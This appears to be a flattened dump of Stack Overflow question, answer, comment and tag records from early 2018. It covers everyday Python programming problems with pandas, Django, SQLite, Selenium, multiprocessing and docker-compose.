has body: The dropdown menu contents are generated dynamically. Therefore, to access the dates, you can use selenium to access the contents: Install selenium: pip install selenium Install the proper driver for your browser of choice: http://selenium-python.readthedocs.io/installation.html#drivers from selenium import webdriver from bs4 import BeautifulSoup as soup driver = webdriver.Chrome('path/to/driver/') driver.get('https://finance.yahoo.com/quote/aapl/options') dates = [i.text for i in soup(driver.page_source, 'lxml').find_all('option')] Output: [u'February 16, 2018', u'February 23, 2018', u'March 2, 2018', u'March 9, 2018', u'March 23, 2018', u'March 29, 2018', u'April 20, 2018', u'May 18, 2018', u'June 15, 2018', u'July 20, 2018', u'September 21, 2018', u'January 18, 2019', u'January 17, 2020']
type: Answer
answers question: http://stackoverflow.com/q/48736901
downvote count: 0

http://stackoverflow.com/comment/84328766
has text: What version of Python are you using? Is the directory that contains `src` in your `sys.path`?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48665083
score: 0

http://stackoverflow.com/comment/84293622
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48647724
type: AnswerComment
has text: Yeah this is the solution I suggested in the OP, but would this not still be O(n)? The count for any of the characters doesn't have an upper bound.

http://stackoverflow.com/q/48668125
score: 16
has answer: http://stackoverflow.com/a/48668307
type: Question
upvote count: 16
possible better answer: http://stackoverflow.com/a/48668307
has answer: http://stackoverflow.com/a/48672423
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
has body: I am reading a CSV file with 8 columns into Pandas data frame. The final column contains an error message, some of which contain commas. This causes the file read to fail with the error ParserError: Error tokenizing data. C error: Expected 8 fields in line 21922, saw 9 Is there a way to ignore all commas after the 8th field, rather than having to go through the file and remove excess commas? Code to read file: import pandas as pd df = pd.read_csv('C:\\somepath\\output.csv') Line that works: 061AE,Active,001,2017_02_24 15_18_01,00006,1,00013,some message Line that fails: 061AE,Active,001,2017_02_24 15_18_01,00006,1,00013,longer message, with commas
has comment: http://stackoverflow.com/comment/84335263
favorite count: 0
has answer: http://stackoverflow.com/a/48672386
accepted answer: http://stackoverflow.com/a/48672386
has comment: http://stackoverflow.com/comment/84379319
tagged with: python
answer count: 4
has answer: http://stackoverflow.com/a/56154584
has comment: http://stackoverflow.com/comment/84335075
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84335163
downvote count: 0
has title: Pandas, read CSV ignoring extra commas

http://stackoverflow.com/comment/84475020
type: QuestionComment
has text: What is the nearest ancestor element that you can successfully find with Selenium? And what is that element's `text` value?
score: 0
comment on: http://stackoverflow.com/q/48736196
type: Comment

http://stackoverflow.com/comment/84344076
has text: That might be some good advice to boost performance as it doesn‘t create SWRecords for all the rows. Echoing all ~5000 rows back to the user might be useful for my early development stage but for production it might be better to reduce the amount of rows to the absolute minimum before starting to build objects. This is also a good opportunity to export the complexity from the view function into more appropriate helper functions. I find that very intriguing if I can find a solution that leaves failed create_ or update_SWRecord attempts in some kind of err_list that I can pass back to the user.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48671882

http://stackoverflow.com/q/48696735
has body: under : mydomain/admin, I have several applications App1, app1modle1, app2model2, App2, app2model1, app2model2, App3, app3model1. In App3model1, say for each 'user',I want to add a column in list_display, and the content is a hyperlink to a corresponding model/table in App2, say what does the user sell, one-to-many relation. eg: under app3model1 (the link is mydomain/admin/app3/model1) u1,link u2,link, u3,link. and under app2model2 (the original view, link is mydomain/admin/app2/model2) u1,apple,$5 u1,orange,$10 u2,apple, $10 u3, grape, $5 Once I click the 'link' next to u1 in app3model1, I want to see mydomain/admin/app2/model2/?q=u1 u1,apple,$5 u1,orange,$10 I have tried the following code in App3/admin.py: list_display = ['username', 'link'] def link(self, obj): seller_link = 'admin/app2/model2/?q=' + obj.username return format_html("link" % seller_link) but it directs me to mydomain/admin/app3/model1/admin/app2/model2...and what I want is mydomain/admin/app2/model2.. with parameters. How can I achieve this?
has comment: http://stackoverflow.com/comment/84393246
type: Question
has comment: http://stackoverflow.com/comment/84393689
tagged with: django
tagged with: python
has title: django-admin, add hyperlink in list_display to other application
score: 0
tagged with: django-admin
type: UnansweredQuestion
answer count: 0

http://stackoverflow.com/comment/84576300
has text: FWIW going from CSV to XLSX via Pandas is inefficient because it means going from rows to columns back to rows again. Both openpyxl and xlsxwriter support streaming and it makes more sense to use them directly, especially if the files are large.
comment on: http://stackoverflow.com/a/48774218
type: AnswerComment
type: Comment
score: 2

http://stackoverflow.com/comment/84556954
has text: My current thoughts on this is Since we recording reading every 5sec, so in 1 min I have 12 reading. I will analyze and store this as one reading to an array of size 60 if the water was used then I push 1 to an array if not I push 0. By doing that in the end I will have an array which will tell me over an hour we used water or not. by using that I can poll when water usage is least. Let me know if this approach is good
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48715812

speech-recognition
tags question: http://stackoverflow.com/q/48777294
tags question: http://stackoverflow.com/q/48692687
tags question: http://stackoverflow.com/q/48690984
tags question: http://stackoverflow.com/q/48653449
tag name: speech-recognition
type: Tag

http://stackoverflow.com/a/48786863
has body: I think your issue is with the if condition: Input builtin function returns a string and you are comparing it with an integer. in_num = None num = [] while True: in_num = input("Enter number: ") if in_num == "42": #or you could use int(in_num) for i in num: print(i) break else: num.append(in_num)
has comment: http://stackoverflow.com/comment/84575213
answers question: http://stackoverflow.com/q/48786528
has comment: http://stackoverflow.com/comment/84575445
has comment: http://stackoverflow.com/comment/84575384
score: 0
has comment: http://stackoverflow.com/comment/84575096
type: Answer

http://stackoverflow.com/q/48803736
tagged with: multithreading
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84611950
tagged with: parallel-processing
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84648563
has comment: http://stackoverflow.com/comment/84610591
has answer: http://stackoverflow.com/a/48804007
has comment: http://stackoverflow.com/comment/84611517
has title: Multiprocessing with complex function
downvote count: 1
tagged with: multiprocessing
type: Question
score: 0
accepted answer: http://stackoverflow.com/a/48804007
has body: I want to create a Multiprocess for a quite complex function in python: I have tested this function with a less complex code like this: from joblib import Parallel, delayed, parallel_backend from joblib import load, dump def print_hello(hallo, tschüß, rechnen,i): print(i) print(hallo[2]) print (tschüß) rechnen = rechnen +i hallo2 = pd.DataFrame(hallo) hallo2.to_csv('./hallo'+str(i)+'.csv') hallo1 = pd.read_csv('./hallo'+str(i)+'.csv') return rechnen hallo = ['hallo', 'hi', 'hey'] tschüß = 'tschüß' with parallel_backend('threading'): test = Parallel()(delayed(print_hello)(hallo, tschüß, rechnen, i) for i in range(10)) print(test) This is working quit nice. However i get the following Error-Code: joblib.my_exceptions.TransportableException: TransportableException ... joblib.my_exceptions.JoblibTypeError: JoblibTypeError ... TypeError: sum_row() missing 1 required positional argument: 'i' When I want to make my complex function works, which looks like this: def sum_row(count_series, path, folder, files_1, files_2, files_3, path_raw, i): print(i) df1 = pd.read_csv(path_raw + files_1[i], sep=',', low_memory=False) df2 = pd.read_csv(path_raw + files_2[i], sep=',', low_memory=False) df3 = pd.read_csv(path_raw + files_3[i], sep=',', low_memory=False) ##do some operations with those files and create df_test df_test.to_csv(path + folder + files_export[i]) return 0 with parallel_backend('threading'): test = Parallel()(delayed(sum_row)(count_series, path, files_1, files_2, files_3, path_raw, i) for i in range(len(files_1)))
answer count: 1
has comment: http://stackoverflow.com/comment/84613673
tagged with: joblib
favorite count: 0
has comment: http://stackoverflow.com/comment/84610364

http://stackoverflow.com/q/48790099
has comment: http://stackoverflow.com/comment/84583406
has comment: http://stackoverflow.com/comment/84584438
has comment: http://stackoverflow.com/comment/84584078
has comment: http://stackoverflow.com/comment/84583313
upvote count: 1
has comment: http://stackoverflow.com/comment/84586049
has comment: http://stackoverflow.com/comment/84583060
has body: number = "9,223,372,036,854,775,807" cleanedNumber = '' for i in range(0, len(number)): if number[i] in '0123456789': cleanedNumber = number[i] newNumber = int(cleanedNumber) print("The number is {} ".format(newNumber)) The thing that I don't understand with the code above is the output. As the output I get is the number 7. WHY 7? I know that I'd get if cleanedNumber += number[i] was the case. But why do I get 7 when I change += to =.
type: Question
has comment: http://stackoverflow.com/comment/84586802
accepted answer: http://stackoverflow.com/a/48790244
has comment: http://stackoverflow.com/comment/84582127
has comment: http://stackoverflow.com/comment/84584017
has comment: http://stackoverflow.com/comment/84582275
has comment: http://stackoverflow.com/comment/84584275
has comment: http://stackoverflow.com/comment/84584146
downvote count: 4
answer count: 3
possible better answer: http://stackoverflow.com/a/48790958
has comment: http://stackoverflow.com/comment/84582785
has comment: http://stackoverflow.com/comment/84582065
has title: Why do I get 7 as output?
has answer: http://stackoverflow.com/a/48790958
favorite count: 0
has answer: http://stackoverflow.com/a/48790173
has answer: http://stackoverflow.com/a/48790244
score: -3
has comment: http://stackoverflow.com/comment/84583357
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/a/48729807
accepted answer of: http://stackoverflow.com/q/48729558
score: 1
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: You need to correctly balance parenthesis and square brackets in your first line (the "offending" example): x, y, z, n = [int(input()) for i in range(4)] This is a list comprehension, so you need to put it inside []. Also, since you want integer values in x, y, z and n, you are correctly using the int() constructor, but failing to close the parenthesis after input(). With that corrected, it works without a glitch. Hope this helps.
answers question: http://stackoverflow.com/q/48729558
upvote count: 1

http://stackoverflow.com/comment/84661546
has text: This does show the user in the drop down. But it is not saving it to the Profile. I've added my code where I do something with `supervisor` - perhaps you can help
comment on: http://stackoverflow.com/a/48826446
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/48692622
answers question: http://stackoverflow.com/q/48692264
has body: import csv vocabulary = [] translation = [] with open('study_list.cs', mode='r') as f: reader = csv.reader(f, delimiter=',') for n, row in enumerate(reader): if not n:#skip header continue vocabulary.append(row[0]) translation.append(row[1]) Or you can use import csv vocabulary = [] translation = [] with open('study_list.cs', mode='r') as f: reader = csv.DictReader(f, delimiter=',') for n, row in enumerate(reader): if not n:#skip header continue vocabulary.append(row['vocabulary']) translation.append(row['translation'])
score: 0
type: Answer

http://stackoverflow.com/a/48736712
type: Answer
answers question: http://stackoverflow.com/q/48699241
score: 0
has body: As the comments on the question confirm, the problem is indeed modifying phraseList while iterating over it. In a bit more detail, what's happening is this: when you go into the for loop, an iterator is created to iterate over phraseList. In the first iteration, the iterator supplies phraseList[0], which is D. This is not in the ontap list, so we do phraseList.remove('D'). On the next iteration, phraseList is now ['o', 'n', "'", 't', ...], but the iterator doesn't know it's changed - it just knows that now it needs to supply phraseList[1], which is now n. This is why the second iteration prints n, rather than o. c is never removed from phraseList because the only place it occurs is right after the first time i appears. When i is removed from phraseList, on the next loop, c is skipped. (Similarly, P is not removed because it's right after the first instance of &lt;space&gt;.) The simplest way to fix your loop would be to iterate over a copy of phraseList: for letter in list(phraseList): print("Letter ", letter) if letter not in ontap: phraseList.remove(letter) This way changing the original phraseList doesn't affect the iteration. You could also be more concise (and, in my opinion, more clear) with a list comprehension. The following accomplishes exactly what the for loop above does: phraseList = [letter for letter in phraseList if letter in ontap]

http://stackoverflow.com/comment/84455905
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48728430
has text: I have tried adding this code but when I run the program it is still not working. If i pick e to encrypt, it will ask me for the file, then my keyword, after that it successfully creates the new file. The next prompt is to enter another file and that is the continuously loop it goes through.
type: AnswerComment

http://stackoverflow.com/comment/84529556
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48764412
has text: Yeah, I figured that would be the case, and indeed just tried it. I need to make sure there is a whitespace between the values and the operators, not just one whitespace. But thanks for the answer.

http://stackoverflow.com/q/48702342
has body: I'm trying to make an attendance-taking program with Python, SQLite and TKinter. My columns are dates (class meeting dates) and the contents are time stamps. I am now attempting to get the list of students who attended on a particular date to show up in my listbox. self.date = time.strftime("%d %b %Y") ... self.cur.execute("SELECT name FROM table WHERE '{column_name}' IS NOT NULL".format(column_name = self.date)) names = self.cur.fetchall() When I tried printing the names, I got tuples with the name and the column_name, but I was expecting column values and not the latter. How do I do that?
score: 0
tagged with: sqlite
answer count: 1
has answer: http://stackoverflow.com/a/49502203
accepted answer: http://stackoverflow.com/a/49502203
tagged with: python
type: AnsweredQuestion
has title: How do I fetch column values and not column names in SQLITE3 (my columns are dates)
type: Question

http://stackoverflow.com/a/73440650
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48754996
upvote count: 1
score: 1
has body: Eugene's answer is correct. Calling logging.basicConfig() for a second time does not have any effect. Nevertheless, if you are using python &gt;= 3.8 then you can use force=True which will disable all existing logging handlers and setup a new one. This practically means that your own logging.basicCOnfig() will just work: logging.basicConfig(..., force=True) docs

http://stackoverflow.com/a/48785865
answers question: http://stackoverflow.com/q/48784257
has body: If I trust the page here: http://pyedflib.readthedocs.io/en/latest, you can run through all the signals in the file this way: import pyedflib import numpy as np f = pyedflib.EdfReader("data/test_generator.edf") n = f.signals_in_file signal_labels = f.getSignalLabels() sigbufs = np.zeros((n, f.getNSamples()[0])) for i in np.arange(n): sigbufs[i, :] = f.readSignal(i) The pyEDFlib library simply reads the file into an EdfReader object. Then you just need to go through and make row for each. I assume that signal_labels (in the code above) will be an array with all the labels so make a comma separated string out of them signal_labels_row = ",".join(signal_labels) Then do the same for each signal, 1 comma separated String for each Then simply write them in a file. I can see they provide an example of how to read a file and extract all the data you need here https://github.com/holgern/pyedflib/blob/master/demo/readEDFFile.py
upvote count: 5
downvote count: 3
type: Answer
has comment: http://stackoverflow.com/comment/138565025
has comment: http://stackoverflow.com/comment/103447894
score: 2

http://stackoverflow.com/a/48711533
has body: You can use sockets: import socket class WebData: def __init__(self, url): self.url = url @property def page_data(self): return self.webpage_data def __enter__(self): self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.connect((self.url , 80)) self.s.sendall("GET http://{} HTTP/1.0\n\n".format(self.url)) self.webpage_data = self.s.recv(4096) return self def __exit__(self, *args): self.s.close() with WebData('www.python.org') as f: print(f.page_data)
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48710682

http://stackoverflow.com/q/48782222
has comment: http://stackoverflow.com/comment/84566138
type: AnsweredQuestion
tagged with: django-views
has answer: http://stackoverflow.com/a/48784855
accepted answer: http://stackoverflow.com/a/48784855
has comment: http://stackoverflow.com/comment/84566254
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84567493
type: Question
has comment: http://stackoverflow.com/comment/84566145
linked to: http://stackoverflow.com/q/4505499
upvote count: 1
has body: All of my view functions require the django request object to pass some tests. Is there a shorter notation for this than putting a @request_passes_test(always_the_same_test) on top of each view-function?
answer count: 1
has comment: http://stackoverflow.com/comment/84566016
has title: Is there a more concise notation than decorators to have a function called before any view function
favorite count: 0
has comment: http://stackoverflow.com/comment/84566628
has comment: http://stackoverflow.com/comment/84565685
tagged with: django
tagged with: python

http://stackoverflow.com/comment/132683272
score: 1
has text: As it’s currently written, your answer is unclear. Please [edit] to add additional details that will help others understand how this addresses the question asked. You can find more information on how to write good answers [in the help center](/help/how-to-answer).
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/75174135

http://stackoverflow.com/a/48781963
score: 3
downvote count: 0
type: AcceptedAnswer
has body: First combine the first and the second sheet separately import pandas as pd # filenames excel_names = ["xlsx1.xlsx", "xlsx2.xlsx", "xlsx3.xlsx"] def combine_excel_to_dfs(excel_names, sheet_name): sheet_frames = [pd.read_excel(x, sheet_name=sheet_name) for x in excel_names] combined_df = pd.concat(sheet_frames).reset_index(drop=True) return combined_df df_first = combine_excel_to_dfs(excel_names, 0) df_second = combine_excel_to_dfs(excel_names, 1) Use pd.ExcelWriter And write these sheets to the same excel file: # Create a Pandas Excel writer using XlsxWriter as the engine. writer = pd.ExcelWriter('two_sheets_combined.xlsx', engine='xlsxwriter') # Write each dataframe to a different worksheet. df_first.to_excel(writer, sheet_name='Sheet1') df_second.to_excel(writer, sheet_name='Sheet2') # Close the Pandas Excel writer and output the Excel file. writer.save()
upvote count: 3
answers question: http://stackoverflow.com/q/48780464
type: Answer
has comment: http://stackoverflow.com/comment/84568569
accepted answer of: http://stackoverflow.com/q/48780464
has comment: http://stackoverflow.com/comment/84567821
has comment: http://stackoverflow.com/comment/84612887

http://stackoverflow.com/q/48750070
possible better answer: http://stackoverflow.com/a/48750287
has title: Calculation function based on selected dataframe columns and values
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48750388
type: Question
tagged with: if-statement
has body: I want to calculate based on a if statement a result as explained below. Somehow i receive only NaN and dont understand why? import pandas as pd def Calculation(values6M, values6M3M): Calc = (values6M/(values6M3M/1000)) return Calc df = pd.DataFrame([ ['A', '6M3M', '1Y', 3.25], ['A', '6M3M', '2Y', 3.25], ['A', '6M3M', '3Y', 3.25], ['A', '6M3M', '4Y', 3.375], ['A', '6M3M', '5Y', 3.5], ['B', '6M', '1Y', 0.1475], ['B', '6M', '2Y', 0.15], ['B', '6M', '3Y', 0.155], ['B', '6M', '4Y', 0.18], ['B', '6M', '5Y', 0.21875], ['A', '3M', '1Y', 0.1113], ['A', '3M', '2Y', 0.1138], ['A', '3M', '3Y', 0.115], ['A', '3M', '4Y', 0.1175], ['A', '3M', '5Y', 0.1188] ], columns=['Type', 'Course', 'Course_Period', 'Values']) for index, row in df.iterrows(): if row['Type'] in ['A', 'B'] and row['Course'] in ['6M', '6M3M']: test6M = df.loc[df['Course'] == '6M'] test6M3M = df.loc[df['Course'] == '6M3M'] result = Calculation(test6M,test6M3M) print(result) What I want as result is for the first value e.g. 1Y: 0.1475/(3.25/1000) = 45.38461538 2Y: 46.15384615 3Y: 47.69230769 4Y: 53.33333333 5Y: 62.5
tagged with: dataframe
accepted answer: http://stackoverflow.com/a/48750388
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/48750287
tagged with: pandas

http://stackoverflow.com/comment/84508701
score: 0
type: QuestionComment
type: Comment
has text: "but when I ask the type of the object, it returns that it is a numpy.ndarray. Why is that?" Because the type of the object is an `numpy.ndarray`, the type of the object returned by `numpy.ndarray.shape` is `tuple`. IOW: `summary_data is not summary_data.shape` It returns a `tuple` because a `tuple` is a reasonable data-structure to hold the shape. It is documented as such. I am not sure exactly what you are asking.
comment on: http://stackoverflow.com/q/48753767

http://stackoverflow.com/a/57088377
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48777090
has comment: http://stackoverflow.com/comment/100737891
has comment: http://stackoverflow.com/comment/100737902
type: Answer
has comment: http://stackoverflow.com/comment/100703664
has comment: http://stackoverflow.com/comment/100914267
has comment: http://stackoverflow.com/comment/100914304
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/100976814
has body: I resolved this by adding WSGIApplicationGroup %{GLOBAL} To etc/httpd/conf.d/wsgi.conf You can automate this process by creating a .ebextensions config vim .ebextensions/dialogflow-fix.config add the following to dialogflow-fix.config "/etc/httpd/conf.d/wsgi_custom.conf": mode: "000644" owner: root group: root content: | WSGIApplicationGroup %{GLOBAL} add to git git add .ebextensions/.config git commit -m 'message here' deploy to beanstalk eb deploy
answers question: http://stackoverflow.com/q/48777090
upvote count: 1

http://stackoverflow.com/a/48699277
type: Answer
score: 2
answers question: http://stackoverflow.com/q/48698382
has body: Yes. It's a good practice. When you convert your categorical variables into dummies you can drop one of the dummies. It will reduce the redundancy from your input features. In python you can do it by using pd.get_dummies pd.get_dummies(df, columns=categorical_columns, drop_first=True) setting drop_first parameter as True will work for you.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48698382
upvote count: 2

http://stackoverflow.com/q/48675097
upvote count: 1
downvote count: 1
tagged with: tensorflow
type: Question
has body: Is there any way to directly load an audio file (wav) to a tensor in tensorflow? And then, converting the tensor into an audio file again? I saw some people transforming audio into spectograms, but I couldn't find anyone that could convert from the spectogram to audio.
score: 0
answer count: 1
favorite count: 0
has title: From audio to tensor, back to audio in tensorflow
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48715382

http://stackoverflow.com/comment/84303506
comment on: http://stackoverflow.com/a/48652685
score: 0
type: AnswerComment
has text: no i have not, that is firefox's default tooling you see in the screenshot
type: Comment

http://stackoverflow.com/q/48794671
type: Question
score: 2
has comment: http://stackoverflow.com/comment/84591726
downvote count: 0
linked to: http://stackoverflow.com/q/430079
answer count: 3
tagged with: pandas
has answer: http://stackoverflow.com/a/48794983
has answer: http://stackoverflow.com/a/48794779
favorite count: 0
upvote count: 2
has body: I have a dataframe with potentially millions of rows like the following: df: name value 1 bob1 abc 2 bob3 def 3 jake2 ghi 4 jake jkl 5 sam1 mno 6 bob5 pqr How can I split this into multiple dataframes based on the name column values containing some substring, such as 'bob', 'jake', and 'sam' in this example? The new dataframes can be still kept in one data structure such as a dictionary if this changes anything. Desired dataframes: df1: name value 1 bob1 abc 2 bob3 def 3 bob5 pqr df2: name value 1 jake2 ghi 2 jake jkl df3: name value 1 sam1 mno
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84591664
has title: Pandas & python: split dataframe into many dataframes based on column value containing substring
has answer: http://stackoverflow.com/a/48794777

http://stackoverflow.com/q/48783546
score: 18
has answer: http://stackoverflow.com/a/48788758
accepted answer: http://stackoverflow.com/a/48783722
tagged with: docker-compose
linked to: http://stackoverflow.com/q/37195222
answer count: 5
has comment: http://stackoverflow.com/comment/84568889
upvote count: 18
has answer: http://stackoverflow.com/a/69326575
tagged with: docker
tagged with: pexpect
possible better answer: http://stackoverflow.com/a/77437361
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77437361
downvote count: 0
has answer: http://stackoverflow.com/a/74543733
has body: When we run docker-compose up-d command to run dockers using docker-compose.yml file, it starts building images or pulling images from the registry. We can see each and every step of this command on the terminal. I am trying to run this command from a python script. The command starts successfully but after the command, I do not have any idea of how much the process has been completed. Is there any way I can monitor the status of docker-compose up -d command so that script can let the user (who is using the script) know how much the process has completed or if the docker-compose command has failed due to some reasons.? Thanks CODE: from pexpect import pxssh session = pxssh.pxssh() if not session.login(ip_address,&lt;USERNAME&gt;, &lt;PASSWORD&gt;): print("SSH session failed on login") print(str(session)) else: print("SSH session login successfull") session.sendline("sudo docker-compose up -d") session.prompt() resp = session.before print(resp)
favorite count: 0
has title: How to check the status of docker-compose up -d command
has answer: http://stackoverflow.com/a/48783722
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/84569409

http://stackoverflow.com/comment/84303118
score: 0
comment on: http://stackoverflow.com/q/48652438
type: Comment
type: QuestionComment
has text: You could use `bisect.insort` when you inserting each element. However, you will have to do `import bisect`. See [here](https://stackoverflow.com/a/18001030/1586200) for more details.

http://stackoverflow.com/a/48756124
answers question: http://stackoverflow.com/q/48733595
score: 0
type: Answer
has body: This is another answer following a reclarification of the problem. Solving this problem (finding the difference in value between the two files) is rather complicated and needs to broken down into several steps: The opening of the both files and reading them into python variables Convert the raw CSV file into a python array of floats Find the difference between them and put the results into a new array Convert this results array into a raw CSV file and save it to a file Step 1: Opening a file in python is done using the open() function, which takes both the files location and a mode ('r' for reading or 'w' for writing, along with others). After the file has been opened, we can the use the file.readlines() function to get all the lines in the file, returning them as an array, with each item being a line. Using this: # Open files file1 = open("data1.csv", "r") file2 = open("data2.csv", "r") # Read all file lines data1 = file1.readlines() data2 = file2.readlines() # Close files file1.close() file2.close() If, for example, we have the files data1.csv: 2,1,5 7,2,4 1,5,1 And data2.csv: 1,2,4 3,2,6 6,3,1 Then, at the end of this segment, data1 equals ['2,1,5\n', '7,2,4\n', '1,5,1'] and data2 equals ['1,2,4\n', '3,2,6\n', '6,3,1'] Step 2: Step 2 is split into two phases - the obtaining of the final data and then the converting of the text string to a number (a float in this case). In stage one, I utilise the array.split() function to seperate the entire row of data into the individual data points. For example: x = "67,45,23" print(x.split(",")) Would output: ['67', '45', '23'] Notice however, that the numbers are still strings, which is why we require the second stage, where I iterate over each seperate data point and convert it to a float (therefore, when you create your data file, you should remove any column headers to stop an error happening). I placed all this into a two seperate functions (one for getting the data, one for converting it to a float) which I then called …

http://stackoverflow.com/q/48760015
has answer: http://stackoverflow.com/a/48760105
has comment: http://stackoverflow.com/comment/84520867
has body: I have come across this puzzling problem in Python, where I am running this script to iterate over files and pull out the line with the highest value in index position 6. For some reason, when I run this, it only iterates over about half the files only. This is the code: output=open("max.txt","w") from glob import glob for filename in glob("*bam.txt"): file=open(filename,"r") lines = file.readlines() max=0 for i in range(0,len(lines)+1): if i&lt;len(lines): newlines=lines[i].replace("\n","\t") splitted=newlines.split("\t") if int(splitted[6])&gt;int(max): max=splitted[6] index=i elif i==len(lines): output.write(filename+"\t"+lines[index]) else: print("There is an error!") output.close() And this is an error message I receive at the end: Traceback (most recent call last): File "&lt;stdin&gt;", line 15, in &lt;module&gt; IndexError: list index out of range I specifically have len(lines)+1 as the end of my range because I know it would be excluded and if I only had len(lines), then i would never equal len(lines) and thus nothing would be written to output. Many thanks!
type: AnsweredQuestion
upvote count: 1
has title: Batch files runs over half only?
type: Question
has comment: http://stackoverflow.com/comment/84520847
has comment: http://stackoverflow.com/comment/84521161
score: 1
accepted answer: http://stackoverflow.com/a/48760105
has comment: http://stackoverflow.com/comment/84520742
has comment: http://stackoverflow.com/comment/84520702
downvote count: 0
answer count: 1
favorite count: 0
tagged with: python

lmfit
tags question: http://stackoverflow.com/q/48776499
tags question: http://stackoverflow.com/q/48699357
tags question: http://stackoverflow.com/q/48720045
tag name: lmfit
type: Tag

qpushbutton
type: Tag
tag name: qpushbutton
tags question: http://stackoverflow.com/q/48768817

http://stackoverflow.com/q/48759429
has comment: http://stackoverflow.com/comment/84519680
has comment: http://stackoverflow.com/comment/84519640
has comment: http://stackoverflow.com/comment/84519778
has body: How do I put symbols such as \, /, :, *, ?, ", &lt;, >, | into a list? if I do this: illegalchar = ['\', '/' ,':' ,'*', '?', '"', '&lt;', '&gt;', '|'] the commas separating the items will be counted as a string including the ] PS: It is to check if the filename contains illegal characters (can't be made into a file), so if there's any alternative methods, please do tell me, thanks!
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84519626
score: 3
has answer: http://stackoverflow.com/a/48759600
has comment: http://stackoverflow.com/comment/84519776
has comment: http://stackoverflow.com/comment/84520580
type: Question
has answer: http://stackoverflow.com/a/48759536
has title: How to put symbols into a list
linked to: http://stackoverflow.com/q/20100003
downvote count: 0
has comment: http://stackoverflow.com/comment/84519705
has comment: http://stackoverflow.com/comment/84519649
has comment: http://stackoverflow.com/comment/84519727
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84520412
has comment: http://stackoverflow.com/comment/84519714
has comment: http://stackoverflow.com/comment/84519598
has comment: http://stackoverflow.com/comment/84519831
tagged with: python
possible better answer: http://stackoverflow.com/a/48759497
accepted answer: http://stackoverflow.com/a/48759536
has comment: http://stackoverflow.com/comment/84519958
answer count: 4
has answer: http://stackoverflow.com/a/48759497
has answer: http://stackoverflow.com/a/48759618
upvote count: 3

http://stackoverflow.com/comment/84434409
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48717604
has text: Careful with [mutable default arguments](http://docs.python-guide.org/en/latest/writing/gotchas/#mutable-default-arguments). Anyway, your problem is that you are never defining any instance variables, only using local variables, and those won't be defined in other functions/methods
score: 0

http://stackoverflow.com/q/48656078
has title: How to remove a field and set default value for a ModelForm in Django?
has answer: http://stackoverflow.com/a/48660749
type: Question
accepted answer: http://stackoverflow.com/a/48660749
score: 0
answer count: 1
has body: I have a ModelForm in my forms.py as follows: class ChoiceForm(forms.ModelForm): class Meta: model = Choice fields = ['choice_text', 'is_choice_correct'] labels = { 'choice_text': "", 'is_choice_correct': "" } widgets = { "choice_text": forms.Textarea(), "is_choice_correct": "", } Based on some conditions, I would like the is_correct_field, a boolean field to not display in the form and set default value for the field (because it is required) so that when I write form.save() in my views, there occurs no error. However, I don't want to hide the form field. To make it more clear, here's what I want to say. I submit the form with only choice_text in my form. The form does not contain the field is_choice_correct, either hidden or displayed. When I save the form with form.save(), I want the is_choice_correct to be True.
tagged with: django
tagged with: python
type: AnsweredQuestion
tagged with: django-forms

sqlite
tags question: http://stackoverflow.com/q/48764769
tags question: http://stackoverflow.com/q/48734455
tags question: http://stackoverflow.com/q/48702342
type: Tag
tags question: http://stackoverflow.com/q/48801368
tags question: http://stackoverflow.com/q/48732439
tags question: http://stackoverflow.com/q/48688238
tags question: http://stackoverflow.com/q/48745947
tags question: http://stackoverflow.com/q/48729795
tags question: http://stackoverflow.com/q/48689457
tags question: http://stackoverflow.com/q/48724733
tags question: http://stackoverflow.com/q/48706377
tags question: http://stackoverflow.com/q/48659352
tags question: http://stackoverflow.com/q/48735498
tags question: http://stackoverflow.com/q/48676505
tags question: http://stackoverflow.com/q/48756708
tags question: http://stackoverflow.com/q/48722330
tags question: http://stackoverflow.com/q/48701849
tags question: http://stackoverflow.com/q/48687732
tags question: http://stackoverflow.com/q/48666671
tags question: http://stackoverflow.com/q/48666358
tags question: http://stackoverflow.com/q/48705926
tags question: http://stackoverflow.com/q/48775552
tags question: http://stackoverflow.com/q/48777420
tags question: http://stackoverflow.com/q/48767101
tag name: sqlite
tags question: http://stackoverflow.com/q/48704979
tags question: http://stackoverflow.com/q/48741721

http://stackoverflow.com/q/48651734
upvote count: 0
score: -1
has answer: http://stackoverflow.com/a/48651787
answer count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: python
has title: Python Pycharm module path
tagged with: pycharm
has body: I would understand this behaviour. In Pycharm I can successfully run (green play button) this main.py which includes src.v0.Det.py src | +--v0 | | | +--Det.py (class det) | __init__.py | +-- main.py __init__.py main.py ------------ from src.v0.Det import det .... But when I run on unix using: python main.py I get "No module named src.v0.Det". I can obviously remove "src" and it works but I don't want to change the file. How can I run this file like in Pycharm? Riccardo
downvote count: 1
type: Question

http://stackoverflow.com/a/48703929
